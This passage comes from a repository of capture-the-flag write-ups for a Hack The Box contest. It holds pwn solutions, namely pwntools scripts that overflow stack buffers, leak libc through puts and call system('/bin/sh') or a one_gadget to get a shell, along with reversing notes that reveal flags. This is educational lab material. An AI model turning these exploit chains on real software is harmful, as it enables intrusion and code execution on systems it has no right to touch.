anymore. 47 | 48 | Still I have tried going with this approach and hard coding sending some fastest and slowest pairs. 49 | 50 | In the end my algorithm doesn't always produce the perfect solution, however for some instance of the problem it does, and that resulted in the flag. 51 | 52 | ```python 53 | # algorithm incorrect, but works some of the time 54 | # greedy not a good solution 55 | # known solution is DP but without who crosses when, only the min cross time 56 | # solution wants optimal cross time 57 | ppl = { 58 | 1: 66, 59 | 2: 43, 60 | 3: 33, 61 | 4: 1, 62 | 5: 62, 63 | 6: 17, 64 | 7: 68, 65 | 8: 40, 66 | } 67 | 68 | battery = 232 69 | 70 | ppl_sorted = {k: v for k, v in sorted(ppl.items(), key=lambda item: item[1])} 71 | print(ppl_sorted) 72 | ppl_sorted = list(ppl_sorted.items()) 73 | 74 | ans = [] 75 | ans.append(f'[{ppl_sorted[0][0]},{ppl_sorted[1][0]}]') 76 | ans.append(f'[{ppl_sorted[0][0]}]') 77 | ans.append(f'[{ppl_sorted[-1][0]},{ppl_sorted[-2][0]}]') 78 | ans.append(f'[{ppl_sorted[1][0]}]') 79 | ans.append(f'[{ppl_sorted[0][0]},{ppl_sorted[1][0]}]') 80 | ans.append(f'[{ppl_sorted[0][0]}]') 81 | ans.append(f'[{ppl_sorted[-3][0]},{ppl_sorted[-4][0]}]') 82 | ans.append(f'[{ppl_sorted[1][0]}]') 83 | 84 | cost = (ppl_sorted[1][1] * 2 + ppl_sorted[0][1]) * 2 + ppl_sorted[-1][1] + ppl_sorted[-3][1] 85 | for i in range(1, len(ppl)-4): 86 | ans.append(f'[{ppl_sorted[0][0]},{ppl_sorted[i][0]}]') 87 | cost += ppl_sorted[i][1] 88 | if i != len(ppl) - 5: 89 | ans.append(f'[{ppl_sorted[0][0]}]') 90 | cost += ppl_sorted[0][1] 91 | 92 | print(','.join(ans)) 93 | print(cost) 94 | ``` 95 | 96 | I print the `cost` which is the time spent so that I can immediately see if a solution will be accepted by the remote. I never made a script that does this automatically instead I just copied the input values by hand. 97 | -------------------------------------------------------------------------------- /ml/plot.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sbencoding/htb_ca2023_writeups/916ed9209cb7fc0f58cc1f3f66cf27111314b898/ml/plot.png -------------------------------------------------------------------------------- /ml/reconfiguration.md: -------------------------------------------------------------------------------- 1 | # Reconfiguration (very easy) 2 | After downloading the files, I read a bit into the `.ows` file and saw the mention of scatter plots. 3 | 4 | Then I though I'll load the `points.csv` file into a plot and see what happens. 5 | 6 | ![Pictures of points plotted from the csv file](plot.png "Pictures of points plotted from the csv file") 7 | -------------------------------------------------------------------------------- /pwn/getting_started/README.md: -------------------------------------------------------------------------------- 1 | # Getting started (very easy) 2 | This challenge focuses on making sure we know how to interact through `pwntools` with binaries and remotes. 3 | 4 | `gs` contains a buffer overflow vulnerability and prompts us to overflow the buffer. 5 | 6 | As can be seen from the nice output, we need 40 bytes to reach the target and then 8 more byte to overwrite it 7 | ``` 8 | After we insert 4 "B"s, (the hex representation of B is 0x42), the stack layout looks like this: 9 | 10 | 11 | [Addr] | [Value] 12 | -------------------+------------------- 13 | 0x00007fffdaf5a1b0 | 0x4242424241414141 <- Start of buffer 14 | 0x00007fffdaf5a1b8 | 0x0000000000000000 15 | 0x00007fffdaf5a1c0 | 0x0000000000000000 16 | 0x00007fffdaf5a1c8 | 0x0000000000000000 17 | 0x00007fffdaf5a1d0 | 0x6969696969696969 <- Dummy value for alignment 18 | 0x00007fffdaf5a1d8 | 0x00000000deadbeef <- Target to change 19 | 0x00007fffdaf5a1e0 | 0x000055b091327800 <- Saved rbp 20 | 0x00007fffdaf5a1e8 | 0x00007f7f17c21c87 <- Saved return address 21 | 0x00007fffdaf5a1f0 | 0x0000002000000000 22 | 0x00007fffdaf5a1f8 | 0x00007fffdaf5a2c8 23 | ``` 24 | 25 | After constructing this payload in the provided wrapper script, we can point it at the remote and get the flag 26 | -------------------------------------------------------------------------------- /pwn/getting_started/wrapper.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3.8 2 | 3 | ''' 4 | You need to install pwntools to run the script. 5 | To run the script: python3 ./wrapper.py 6 | ''' 7 | 8 | # Library 9 | from pwn import * 10 | 11 | # Open connection 12 | IP = '165.232.98.59' # Change this 13 | PORT = 30638 # Change this 14 | 15 | r = remote(IP, PORT) 16 | # r = process('./gs') 17 | 18 | # Craft payload 19 | payload = b'A' * 40 # Change the number of "A"s 20 | payload += b'B' * 8 21 | 22 | # Send payload 23 | r.sendline(payload) 24 | 25 | r.interactive() 26 | 27 | # Read flag 28 | success(f'Flag --> {r.recvline_contains(b"HTB").strip().decode()}') 29 | -------------------------------------------------------------------------------- /pwn/initialize_connection.md: -------------------------------------------------------------------------------- 1 | # Initialise connection (very easy) 2 | This challegne wasn't hard either a simple command can be used in order to solve the challenge: 3 | ```shell 4 | nc 5 | ``` 6 | 7 | Once connected, sending the number "1" yields the flag 8 | -------------------------------------------------------------------------------- /pwn/labyrinth/README.md: -------------------------------------------------------------------------------- 1 | # Labyrinth (easy) 2 | This challenge involves exploiting a simple buffer overflow and then redirecting execution to a different function. 3 | 4 | First we check the protections the binary has, using `checksec` 5 | ``` 6 | Arch: amd64-64-little 7 | RELRO: Full RELRO 8 | Stack: No canary found 9 | NX: NX enabled 10 | PIE: No PIE (0x400000) 11 | RUNPATH: b'./glibc/' 12 | ``` 13 | 14 | Pretty much nothing, there's no canary and no ASLR. 15 | 16 | Loading the binary into Ghidra, I analyzed the `main` function. 17 | 18 | ```c 19 | undefined8 main(void) 20 | 21 | { 22 | int iVar1; 23 | undefined8 local_38; 24 | undefined8 local_30; 25 | undefined8 local_28; 26 | undefined8 local_20; 27 | char *local_18; 28 | ulong local_10; 29 | 30 | setup(); 31 | banner(); 32 | local_38 = 0; 33 | local_30 = 0; 34 | local_28 = 0; 35 | local_20 = 0; 36 | fwrite("\nSelect door: \n\n",1,0x10,stdout); 37 | for (local_10 = 1; local_10 < 0x65; local_10 = local_10 + 1) { 38 | if (local_10 < 10) { 39 | fprintf(stdout,"Door: 00%d ",local_10); 40 | } 41 | else if (local_10 < 100) { 42 | fprintf(stdout,"Door: 0%d ",local_10); 43 | } 44 | else { 45 | fprintf(stdout,"Door: %d ",local_10); 46 | } 47 | if ((local_10 % 10 == 0) && (local_10 != 0)) { 48 | putchar(10); 49 | } 50 | } 51 | fwrite(&DAT_0040248f,1,4,stdout); 52 | local_18 = (char *)malloc(0x10); 53 | fgets(local_18,5,stdin); 54 | iVar1 = strncmp(local_18,"69",2); 55 | if (iVar1 != 0) { 56 | iVar1 = strncmp(local_18,"069",3); 57 | if (iVar1 != 0) goto LAB_004015da; 58 | } 59 | fwrite("\nYou are heading to open the door but you suddenly see something on the wall:\n\n\"Fly li ke a bird and be free!\"\n\nWould you like to change the door you chose?\n\n>> " 60 | ,1,0xa0,stdout); 61 | fgets((char *)&local_38,0x44,stdin); 62 | LAB_004015da: 63 | fprintf(stdout,"\n%s[-] YOU FAILED TO ESCAPE!\n\n",&DAT_00402541); 64 | return 0; 65 | } 66 | ``` 67 | 68 | First, 69 should be provided as a door number, in order to get into the vulnerable path of execution. 69 | 70 | Then `fgets` will read 0x44 bytes into `local_38`. We see at the top of the function that is has 6 variables on the stack starting from `local_38`, each is 8 bytes large. 71 | 72 | Then we can overwrite the RBP of the calling function and then the **return address**. 73 | 74 | Browsing the list of functions in Ghidra, I found the `escape_strategy` function, which gives us the flag. 75 | 76 | As a final trick, stack alignment was an issue, therefore a ROP gadgets needed to be added to the payload, in order to align the stack pointer to 16 bytes again. 77 | To fix alignment a simple `ret` ROP gadget can be placed. This will just pop the element from the stack and set the program counter to it. 78 | 79 | To find the ROP gadget I will use the `pwntools` functions. 80 | 81 | So our payload that gets put on the stack will be: 82 | ``` 83 | [48 - padding] + [8 - RBP overwrite] + [8 - ret gadget] + [8 - win function address] 84 | ``` 85 | 86 | Running `solve.py` will give us the flag. 87 | -------------------------------------------------------------------------------- /pwn/labyrinth/solve.py: -------------------------------------------------------------------------------- 1 | import sys 2 | from pwn import * 3 | 4 | rem = True 5 | p = None 6 | elf = ELF('./labyrinth') 7 | rop = ROP(elf) 8 | res = rop.find_gadget(['ret']) 9 | g_ret = res.address 10 | 11 | if not rem: 12 | p = process('./labyrinth') 13 | else: 14 | p = remote('144.126.196.198', 31530) 15 | 16 | p.sendline(b'69') 17 | input() 18 | p.sendline(b'A' * 48 + b'B' * 8 + p64(g_ret) + p64(0x00401255)) 19 | p.interactive() 20 | -------------------------------------------------------------------------------- /pwn/pandoras_box/README.md: -------------------------------------------------------------------------------- 1 | # Pandora's box (easy) 2 | For this challenge a simple buffer overflow vulnerability needs to be exploited. 3 | 4 | Running the usual `checksec` analysis to see what protections the binary has: 5 | ``` 6 | Arch: amd64-64-little 7 | RELRO: Full RELRO 8 | Stack: No canary found 9 | NX: NX enabled 10 | PIE: No PIE (0x400000) 11 | RUNPATH: b'./glibc/ 12 | ``` 13 | 14 | Good! No ASLR for the binary and also no stack canary. 15 | 16 | Next I loaded the binary in to Ghidra to see what was happening under the hood. 17 | The interesting function here will be `box()` which is called from `main()` after some setup and the banner. 18 | 19 | ```c 20 | void box(void) 21 | 22 | { 23 | undefined8 local_38; 24 | undefined8 local_30; 25 | undefined8 local_28; 26 | undefined8 local_20; 27 | long local_10; 28 | 29 | local_38 = 0; 30 | local_30 = 0; 31 | local_28 = 0; 32 | local_20 = 0; 33 | fwrite("This is one of Pandora\'s mythical boxes!\n\nWill you open it or Return it to the Library for analysis?\n\n1. Open.\n2. Return.\n\n>> " 34 | ,1,0x7e,stdout); 35 | local_10 = read_num(); 36 | if (local_10 != 2) { 37 | fprintf(stdout,"%s\nWHAT HAVE YOU DONE?! WE ARE DOOMED!\n\n",&DAT_004021c7); 38 | /* WARNING: Subroutine does not return */ 39 | exit(0x520); 40 | } 41 | fwrite("\nInsert location of the library: ",1,0x21,stdout); 42 | fgets((char *)&local_38,0x100,stdin); 43 | fwrite("\nWe will deliver the mythical box to the Library for analysis, thank you!\n\n",1,0x4b, 44 | stdout); 45 | return; 46 | } 47 | ``` 48 | 49 | If we input anything other than 2, then we fail the challenge, so let's input 2. 50 | 51 | Next up `fgets` is called, and the buffer overflow happens here. 52 | As we see from the variables on the top, the current stack frame is only 40 bytes, however 0x100 (256) bytes are being read. 53 | 54 | Unlike the previous challenge here we don't have a *win function* therefore we will aim for arbitrary code execution, i.e get a shell. 55 | 56 | I chose to solve this challenge using the `ret2libc` technique, so in order to find out where the libc functions are loaded I needed to leak the libc address. 57 | 58 | Thankfully remember that the binary itself doesn't have ASLR therefore we know where the PLT and the GOT are. 59 | Using this information we can construct our first exploit that will leak the libc address of the puts function. 60 | 61 | ``` 62 | [40 - padding] + [8 - old RBP] + [8 - ret gadget] + [8 - pop rdi; ret gadget] + [8 - puts@got] + [8 - puts@plt] + [8 - box function address] 63 | ``` 64 | 65 | The first gadget will just pop the next location to execute from the stack and jump to it. We need this to fix stack pointer alignment to 16 bytes, which some functions are sensitive to. 66 | 67 | The next gadget will pop from the stack into RDI and then return. Essentially this allows us to call single argument functions. The address in the GOT where puts is will be the argument and the `puts` function will be the function we call. 68 | 69 | This will essentially call `puts(puts)`, resulting in the address of the puts function being leaked. 70 | 71 | We finish up with the address of `box` since after the leak we want to continue our exploit to get the shell. 72 | 73 | Now that we know the address of puts, we can figure out where libc is being loaded. 74 | Then we can look for the `system` function in libc and the `/bin/sh` string. 75 | 76 | Once we have these a second stage payload is constructed 77 | ``` 78 | [40 - padding] + [8 - old RBP] + [8 - ret gadget] + [8 - pop rdi; ret gadget] + [8 - /bin/sh string address] + [8 - system] 79 | ``` 80 | 81 | Here again we first align the stack, and then call `system("/bin/sh")` to get our shell. 82 | 83 | Once the exploit goes through we can just print the flag from our shell. 84 | -------------------------------------------------------------------------------- /pwn/pandoras_box/solve.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | rem = True 4 | 5 | libc = ELF('./glibc/libc.so.6') 6 | elf = ELF('./pb') 7 | rop = ROP(elf) 8 | g_rdi_ret = rop.find_gadget(['pop rdi', 'ret']).address 9 | g_ret = rop.find_gadget(['ret']).address 10 | 11 | plt_puts = elf.plt['puts'] 12 | got_puts = elf.got['puts'] 13 | box = elf.symbols['box'] 14 | 15 | if not rem: 16 | p = process('./pb') 17 | else: 18 | p = remote('144.126.196.198', 32494) 19 | 20 | p.sendline(b'2') 21 | 22 | padding = b'A' * 40 + b'B' * 8 23 | exploit = p64(g_ret) + p64(g_rdi_ret) + p64(got_puts) + p64(plt_puts) + p64(box) 24 | payload = padding + exploit 25 | p.sendline(payload) 26 | p.recvuntil(b'thank you!') 27 | puts_leak = u64(p.recvuntil(b'This').replace(b'This', b'').strip().ljust(8, b'\x00')) 28 | libc_base = puts_leak - libc.symbols['puts'] 29 | log.info(f'libc base {hex(libc_base)}') 30 | 31 | libc_system = libc_base + libc.symbols['system'] 32 | bin_sh = libc_base + next(libc.search(b'/bin/sh')) 33 | 34 | log.info(f'system @ {hex(libc_system)}') 35 | log.info(f'binsh @ {hex(bin_sh)}') 36 | chain = p64(g_ret) + p64(g_rdi_ret) + p64(bin_sh) + p64(libc_system) 37 | p.sendline(b'2') 38 | # Extra padding required, analysis of gdb shows this 39 | p.sendline(padding + b'C' * 8 + chain) 40 | 41 | p.interactive() 42 | -------------------------------------------------------------------------------- /pwn/questionnaire.md: -------------------------------------------------------------------------------- 1 | # Questionnaire (very easy) 2 | This challange involves analyzing a binary file, before diving in to exploitation and answering some questions the docker poses. 3 | 4 | For the first couple of questions we can get all the information we need from the `file` command 5 | 6 | ```shell 7 | ➜ questionnaire file test 8 | test: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=5a83587fbda6ad7b1aeee2d59f027a882bf2a429, for GNU/Linux 3.2.0, not stripped 9 | ``` 10 | 11 | > Is this a '32-bit' or '64-bit' ELF? (e.g. 1337-bit) 12 | 13 | 64-bit 14 | 15 | > What's the linking of the binary? (e.g. static, dynamic) 16 | 17 | 18 | dynamic 19 | 20 | > Is the binary 'stripped' or 'not stripped'? 21 | 22 | not stripped 23 | 24 | For the next command the `pwntools` package is useful (available in `community/python-pwntools` for archlinux). 25 | 26 | The `pwn` command can tell us about the various protections the binary has. 27 | 28 | ```shell 29 | ➜ questionnaire pwn checksec test 30 | [*] '/home/ghost/ctf/htb_cyberapocalypse_2022/pwn/questionnaire/test' 31 | Arch: amd64-64-little 32 | RELRO: Partial RELRO 33 | Stack: No canary found 34 | NX: NX enabled 35 | PIE: No PIE (0x400000) 36 | ``` 37 | 38 | > Which protections are enabled (Canary, NX, PIE, Fortify)? 39 | 40 | NX 41 | 42 | For the next question we will require some basic reverse engineering. Using any tool here like ghidra, IDA, binaryninja is a valid solution. However we can attempt to use `objdump` for this challenge. 43 | 44 | ```shell 45 | ➜ questionnaire objdump -d test 46 | 47 | test: file format elf64-x86-64 48 | 49 | ... 50 | 51 | 00000000004011fa
: 52 | 4011fa: f3 0f 1e fa endbr64 53 | 4011fe: 55 push %rbp 54 | 4011ff: 48 89 e5 mov %rsp,%rbp 55 | 401202: b8 00 00 00 00 mov $0x0,%eax 56 | 401207: e8 84 ff ff ff call 401190 57 | 40120c: 90 nop 58 | 40120d: 5d pop %rbp 59 | 40120e: c3 ret 60 | 61 | ``` 62 | 63 | > What is the name of the custom function that gets called inside `main()`? (e.g. vulnerable_function()) 64 | 65 | vuln 66 | 67 | For the next question still using `objdump` we find the size of the buffer. Exactly the amount of bytes that the stack pointer gets subtracted by at after the initialization of the stack frame. 68 | 69 | ``` 70 | 0000000000401190 : 71 | 401190: f3 0f 1e fa endbr64 72 | 401194: 55 push %rbp 73 | 401195: 48 89 e5 mov %rsp,%rbp 74 | 401198: 48 83 ec 20 sub $0x20,%rsp 75 | ``` 76 | 77 | > What is the size of the 'buffer' (in hex or decimal)? 78 | 79 | 0x20 80 | 81 | Sticking with the `objdump` output and inspecting the different function we can discover a function that is never called. 82 | 83 | > Which custom function is never called? (e.g. vuln()) 84 | 85 | gg 86 | 87 | Now some exploitation questions are asked: 88 | 89 | > What is the name of the standard function that could trigger a Buffer Overflow? (e.g. fprintf()) 90 | 91 | fgets 92 | 93 | > After how many bytes a Segmentation Fault occurs (in hex or decimal)? 94 | 95 | 40 96 | 97 | > What is the address of 'gg()' in hex? (e.g. 0x401337) 98 | 99 | 0x401176 100 | 101 | After this prompt we get the flag! 102 | -------------------------------------------------------------------------------- /pwn/void/README.md: -------------------------------------------------------------------------------- 1 | # Void (medium) 2 | This challenge contains a buffer overflow vulnerability again, however this time we don't have many functions to play with in the PLT/GOT. 3 | 4 | First let's check the protections of the binary using `checksec` 5 | 6 | ``` 7 | Arch: amd64-64-little 8 | RELRO: Partial RELRO 9 | Stack: No canary found 10 | NX: NX enabled 11 | PIE: No PIE (0x400000) 12 | RUNPATH: b'./glibc/' 13 | ``` 14 | 15 | We see that nothing except NX is enabled. This is different compared to the previous challenges that had **Full RELRO**, this challenge only has **Partial RELRO**, meaning there's possibly some GOT overwriting we need to do in order to win. 16 | 17 | Then I loaded the binary in Ghidra and it was very minimal, essentially calling just the `vuln()` function. 18 | 19 | ```c 20 | void vuln(void) 21 | 22 | { 23 | undefined local_48 [64]; 24 | 25 | read(0,local_48,200); 26 | return; 27 | } 28 | ``` 29 | 30 | Here we see the buffer overflow vulnerability, where `read()` reads 200 bytes which is over the defined size 64. 31 | 32 | After the contest I have seen that this is supposed to be solved using the `ret2dlresolve` technique, however at the time of the contest I was unaware of this technique, therefore I have yet again decided to leak libc and aim for an arbitrary code execution exploit. 33 | 34 | After trying and failing at this task, I realized that I don't necessarily need to leak the libc base address, it is also enough if I can find a gadget to offset the current `read()` address in the GOT to call something useful. 35 | 36 | The idea is as follows: 37 | 1. Offset read GOT by some bytes to point to a **one_gadget** 38 | 2. Call `vuln()` again which will call `read@plt` that will now point to our one_gadget instead. 39 | 40 | A **one_gadget** is a location in libc that will execute a shell for us. 41 | This means that we don't have to actually setup the full ROP chain and find out where the `/bin/sh` strings is. 42 | The small caveat is that some restrictions apply in order to make these gadgets work, which is often some variables or memory locations being 0. 43 | 44 | To find one gadgets we can use the `one_gadget` program (from the `community/one_gadget` package in archlinux) 45 | 46 | ``` 47 | ➜ void one_gadget glibc/libc.so.6 48 | egrep: warning: egrep is obsolescent; using grep -E 49 | egrep: warning: egrep is obsolescent; using grep -E 50 | egrep: warning: egrep is obsolescent; using grep -E 51 | egrep: warning: egrep is obsolescent; using grep -E 52 | 0xc961a execve("/bin/sh", r12, r13) 53 | constraints: 54 | [r12] == NULL || r12 == NULL 55 | [r13] == NULL || r13 == NULL 56 | 57 | 0xc961d execve("/bin/sh", r12, rdx) 58 | constraints: 59 | [r12] == NULL || r12 == NULL 60 | [rdx] == NULL || rdx == NULL 61 | 62 | 0xc9620 execve("/bin/sh", rsi, rdx) 63 | constraints: 64 | [rsi] == NULL || rsi == NULL 65 | [rdx] == NULL || rdx == NULL 66 | ``` 67 | 68 | Here we have our gadgets and the constraints, however we still need to figure out how to make this appear in the GOT instead of `read()` 69 | 70 | Here I used the `ROPGadget` command (from the `community/ropgadget` in archlinux) to find some gadgets in the binary. 71 | 72 | Here I have found many gadgets with the `add` instructions, however not many of them were particularly useful to me, either the written data was uncontrollable or I haven't had control over the register holding the destination. 73 | 74 | However a gadget did seem promising if I could control the involved registers: 75 | ``` 76 | add dword ptr [rbp - 0x3d], ebx ; nop dword ptr [rax + rax] ; ret 77 | ``` 78 | 79 | This will perform an addition a nop and then return, perfect for us if we control `rbp` and `ebx`. 80 | 81 | Now we only need to control `rbp` and `ebx`, which can be done using `ret2csu`. 82 | Specifically I will jump to the following section: 83 | ``` 84 | 004011b2 5b POP RBX 85 | 004011b3 5d POP RBP 86 | 004011b4 41 5c POP R12 87 | 004011b6 41 5d POP R13 88 | 004011b8 41 5e POP R14 89 | 004011ba 41 5f POP R15 90 | 004011bc c3 RET 91 | ``` 92 | 93 | This will allow us the set `rbp` and `rbx`, furthermore by zeroing `r12` and `r13` we can make the first gadget returned by `one_gadget` work. 94 | 95 | Therefore the process will look like this: 96 | 1. Setup `rbp` and `rbx` to target `read@got` and add offset from one_gadget to read 97 | 2. Call the `add` gadget 98 | 3. Call `vuln()` again 99 | 100 | The payload will have the following layout: 101 | ``` 102 | [8 - CSU gadget address] + [8 - rbx overwrite, the offset] + [8 - pointer to read@got] + [32 - zero out r12-r15] + [8 - address of memory add gadget] + [8 - address of vuln] 103 | ``` 104 | 105 | Running `solve.py` will get us a shell, which we can use to get the flag. 106 | -------------------------------------------------------------------------------- /pwn/void/solve.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | import sys 3 | 4 | rem = True 5 | elf = ELF('./void') 6 | rop = ROP(elf) 7 | libc = ELF('./glibc/libc.so.6') 8 | 9 | vuln = elf.symbols['vuln'] 10 | g_rdi_ret = rop.find_gadget(['pop rdi', 'ret']).address 11 | g_rsi_r15_ret = 0x00000000004011b9 12 | 13 | got_read = elf.got['read'] 14 | 15 | p = None 16 | 17 | if not rem: 18 | p = process('./void') 19 | else: 20 | p = remote('139.59.176.230', 30001) 21 | 22 | padding = b'A' * 64 + b'B' * 8 23 | main_overwrite = 0x0040114b 24 | csu = 0x004011b2 25 | off_to_og = 0xc961a - libc.sym['read'] 26 | g_mem_add = 0x0000000000401108 27 | g_vuln_call = 0x0040113b 28 | 29 | input('> ') 30 | chain1 = p64(csu) + p64(off_to_og, sign='signed') + p64(elf.got['read']+0x3d) + p64(0) * 4 + p64(g_mem_add) + p64(g_vuln_call) 31 | p.sendline(padding + chain1) 32 | 33 | p.interactive() 34 | -------------------------------------------------------------------------------- /reversing/alien_saboteaur.md: -------------------------------------------------------------------------------- 1 | # Alien saboteaur (medium) 2 | We get a virutal machine and a binary it can execute. 3 | 4 | The binary asks us for the keycode. Which I don't know. 5 | 6 | Next I opened up ghidra on the `vm` to see how it works. 7 | Basically it loads the specified binary and allocates some space on the heap that will store the binary itself, the program counter and some additional space. 8 | 9 | Then the virtual machine is started with `vm_run`, which keeps executing instructions with `vm_step`. 10 | 11 | This function will get the op code from the blob and then use that as an index into the instruction lookup table to perform a certain action. 12 | 13 | Especially interesting instructions at this point are: `vm_je` and `vm_jne` 14 | After the flag is read it must be that it is compared to some already existing value 15 | 16 | Using gdb I have set a breakpoint on `vm_je` and sure enough I saw that my flag values were getting compared. 17 | 18 | The keycode length needs to be 17 as that is when execution goes from reading the input to checking it. 19 | 20 | However, before comparison got the the end of my flag, I saw that suddenly -1 and 0 were compared, which was odd, since I had neither values in my flag. 21 | 22 | After continuing I saw: *Terminal blocked!* 23 | 24 | I put 2 and 2 together and thought immediately that there must be some anti debugging technique at play here. 25 | 26 | After looking around more I found the `vm_inv` function makes a syscall, so I loaded the binary with `strace`. 27 | And sure enough after entering the passcode `c0d3_r3d_5hAAAAAA` I saw: 28 | ``` 29 | ptrace(PTRACE_TRACEME) = -1 EPERM (Operation not permitted) 30 | ``` 31 | So indeed the binary tries to attach a debugger but can't if some other tool is already debugging it. 32 | 33 | To get around this problem I simply set a conditional breakpoint on the `vm_je` function for whenever the compared values don't match. When I got to the -1 to 0 comparison again, I just set the values to be equal, and now we are onto the second password. 34 | 35 | After experimentation I found out that this password needs to be 36 characters long. 36 | 37 | Then similar to the previous password `vm_je` gets invoked, however this time I didn't see my input character anywhere. 38 | 39 | After trying an input full of `A`, then `B`, then `C` I have noticed that the value being compared and then one I enter is different, because the entered values get xored by 2. 40 | So now I knew that if I xor the value coming from the binary with 2, that will need to be my input. 41 | 42 | The last thing to figure out was that the password was not compared from left to right, but from different positions. 43 | By having an input string with unique characters, I have managed to trakc down which position was being compared to what character. 44 | 45 | Finally having replaced all characters I have arrived at the flag: 46 | **HTB{5w1rl_4r0und_7h3_4l13n_l4ngu4g3}** 47 | -------------------------------------------------------------------------------- /reversing/cave_system.md: -------------------------------------------------------------------------------- 1 | # Cave system (easy) 2 | In this challenge a bunch of condition are checked against the user input. 3 | The user input is the flag itself. 4 | 5 | ```c 6 | fgets(local_88,0x80,stdin); 7 | iVar1 = memcmp(local_88,&DAT_00102033,4); 8 | if (((((((iVar1 == 0) && ((char)(local_88[21] * local_88[48]) == '\x14')) && 9 | ((char)(local_88[32] - local_88[36]) == -6)) && 10 | (((((((char)(local_88[37] - local_88[26]) == -0x2a && 11 | ((char)(local_88[16] - local_88[48]) == '\b')) && 12 | (((char)(local_88[55] - local_88[8]) == -0x2b && 13 | (((char)(local_88[26] * local_88[7]) == -0x13 && 14 | ((char)(local_88[4] * local_88[24]) == -0x38)))))) && 15 | ((byte)(local_88[34] ^ local_88[28]) == 0x55)) && 16 | (((((char)(local_88[30] - local_88[55]) == '4' && 17 | ((char)(local_88[59] + local_88[50]) == -0x71)) && 18 | ((char)(local_88[44] + local_88[27]) == -0x2a)) && 19 | (((byte)(local_88[17] ^ local_88[14]) == 0x31 && 20 | ((char)(local_88[56] * local_88[20]) == -0x54)))))) && 21 | (((((char)(local_88[58] - local_88[26]) == -0x3e && 22 | (((byte)(local_88[26] ^ local_88[6]) == 0x2f && 23 | ((byte)(local_88[14] ^ local_88[39]) == 0x5a)))) && 24 | ((byte)(local_88[44] ^ local_88[39]) == 0x40)) && 25 | (((((local_88[40] == local_88[26] && ((char)(local_88[23] + local_88[49]) == -0x68)) && 26 | ((char)(local_88[23] * local_88[59]) == 'h')) && 27 | (((char)(local_88[1] - local_88[28]) == -0x25 && 28 | ((char)(local_88[24] - local_88[29]) == -0x2e)))) && 29 | (((char)(local_88[38] - local_88[24]) == '.' && 30 | (((byte)(local_88[32] ^ local_88[22]) == 0x1a && 31 | ((char)(local_88[44] * local_88[4]) == -0x60)))))))))))) && 32 | ((((((char)(local_88[38] * local_88[27]) == '^' && 33 | ((((char)(local_88[15] - local_88[40]) == -0x38 && 34 | ((byte)(local_88[49] ^ local_88[53]) == 0x56)) && 35 | ((byte)(local_88[26] ^ local_88[45]) == 0x2b)))) && 36 | ((((((byte)(local_88[54] ^ local_88[9]) == 0x19 && 37 | ((char)(local_88[28] - local_88[47]) == '\x1a')) && 38 | (((char)(local_88[50] + local_88[19]) == -0x5f && 39 | (((char)(local_88[37] + local_88[57]) == 'V' && 40 | ((byte)(local_88[29] ^ local_88[18]) == 0x38)))))) && 41 | ((byte)(local_88[44] ^ local_88[60]) == 9)) && 42 | ((((((char)(local_88[15] * local_88[38]) == 'y' && 43 | ((byte)(local_88[37] ^ local_88[30]) == 0x5d)) && 44 | ((char)(local_88[2] * local_88[32]) == '\\')) && 45 | (((char)(local_88[10] * local_88[18]) == '9' && (local_88[29] == local_88[21])))) && 46 | (((char)(local_88[35] * local_88[21]) == '/' && 47 | (((char)(local_88[8] * local_88[37]) == -0x55 && 48 | ((char)(local_88[39] + local_88[26]) == -0x6d)))))))))) && 49 | (((((((byte)(local_88[26] ^ local_88[34]) == 0x73 && 50 | ((((byte)(local_88[20] ^ local_88[31]) == 0x40 && 51 | ((char)(local_88[25] + local_88[16]) == -0x57)) && 52 | ((byte)(local_88[39] ^ local_88[59]) == 0x15)))) && 53 | ((((char)(local_88[0] + local_88[59]) == 'i' && 54 | ((char)(local_88[34] + local_88[46]) == -0x5b)) && 55 | (((byte)(local_88[30] ^ local_88[52]) == 0x37 && 56 | (((char)(local_88[0] * local_88[28]) == '\b' && 57 | ((char)(local_88[34] - local_88[56]) == -0x3b)))))))) && 58 | ((char)(local_88[18] + local_88[60]) == -0x1c)) && 59 | (((((byte)(local_88[35] ^ local_88[40]) == 0x6e && 60 | ((char)(local_88[56] * local_88[16]) == -0x54)) && 61 | ((char)(local_88[54] - local_88[47]) == '\r')) && 62 | ((((char)(local_88[30] + local_88[55]) == -100 && 63 | ((char)(local_88[6] + local_88[33]) == -0x2c)) && 64 | (((char)(local_88[7] * local_88[29]) == -0x13 && 65 | (((byte)(local_88[56] ^ local_88[29]) == 0x38 && 66 | ((char)(local_88[1] * local_88[37]) == 'd')))))))))) && 67 | (((byte)(local_88[56] ^ local_88[58]) == 0x46 && 68 | (((((((char)(local_88[2] * local_88[19]) == '&' && 69 | ((byte)(local_88[26] ^ local_88[22]) == 0x2b)) && 70 | ((char)(local_88[1] + local_88[7]) == -0x79)) && 71 | (((byte)(local_88[27] ^ local_88[0]) == 0x2a && 72 | ((char)(local_88[21] - local_88[1]) == '\v')))) && 73 | ((char)(local_88[27] + local_88[54]) == -0x32)) && 74 | (((byte)(local_88[17] ^ local_88[13]) == 0x3b && 75 | ((char)(local_88[19] - local_88[58]) == '\x12')))))))))) && 76 | ((((local_88[17] == local_88[10] && 77 | ((((char)(local_88[14] - local_88[58]) == 'M' && 78 | ((char)(local_88[42] * local_88[52]) == 'N')) && (local_88[50] == local_88[32])))) && 79 | (((byte)(local_88[47] ^ local_88[51]) == 0x38 && 80 | ((char)(local_88[38] + local_88[25]) == -0x6c)))) && 81 | ((char)(local_88[41] + local_88[52]) == -0x31)))))) && 82 | ((((local_88[44] == local_88[20] && ((char)(local_88[12] + local_88[25]) == 'f')) && 83 | (((char)(local_88[60] + local_88[36]) == -0xf && 84 | ((((char)(local_88[41] - local_88[21]) == '\x11' && 85 | ((char)(local_88[36] - local_88[49]) == 'D')) && 86 | ((char)(local_88[9] - local_88[35]) == 'D')))))) && 87 | ((((byte)(local_88[53] ^ local_88[51]) == 1 && ((byte)(local_88[34] ^ local_88[57]) == 0xd)) 88 | && ((((char)(local_88[11] - local_88[28]) == -0x15 && 89 | (((((char)(local_88[23] + local_88[24]) == -0x67 && 90 | ((char)(local_88[24] + local_88[13]) == -0x6b)) && 91 | (((char)(local_88[12] - local_88[0]) == -0x17 && 92 | (((((char)(local_88[34] + local_88[31]) == '`' 